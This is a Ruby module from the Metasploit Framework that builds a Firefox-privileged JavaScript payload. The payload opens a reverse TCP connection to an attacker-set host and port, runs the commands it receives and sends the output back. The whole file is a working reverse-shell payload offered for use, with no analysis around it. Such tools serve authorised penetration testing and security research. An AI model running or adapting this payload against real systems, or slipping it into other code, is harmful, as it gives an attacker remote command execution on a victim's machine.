metasploit-framework/modules/payloads/singles/firefox/shell_reverse_tcp.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = :dynamic
include Msf::Payload::Single
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include Msf::Payload::Firefox
include Msf::Sessions::CommandShellOptions
def initialize(info={})
super(merge_info(info,
'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',
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'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
'Author' => ['joev'],
'License' => BSD_LICENSE,
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'firefox'
))
end
def generate
<<-EOS
(function(){
window = this;
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var host = '#{datastore["LHOST"]}';
var port = #{datastore["LPORT"]};
var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]
.getService(Components.interfaces.nsISocketTransportService);
var socket = socketTransport.createTransport(null, 0, host, port, null);
var outStream = socket.openOutputStream(0, 0, 0);
var inStream = socket.openInputStream(0, 0, 0);
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
.createInstance(Components.interfaces.nsIInputStreamPump);
pump.init(inStream, -1, -1, 0, 0, true);
#{read_until_token_source}
var listener = {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
onDataAvailable: readUntilToken(function(data) {
runCmd(data, function(err, output) {
if (!err) outStream.write(output, output.length);
});
})
};
#{run_cmd_source}
pump.asyncRead(listener, null);
})();
EOS
end
end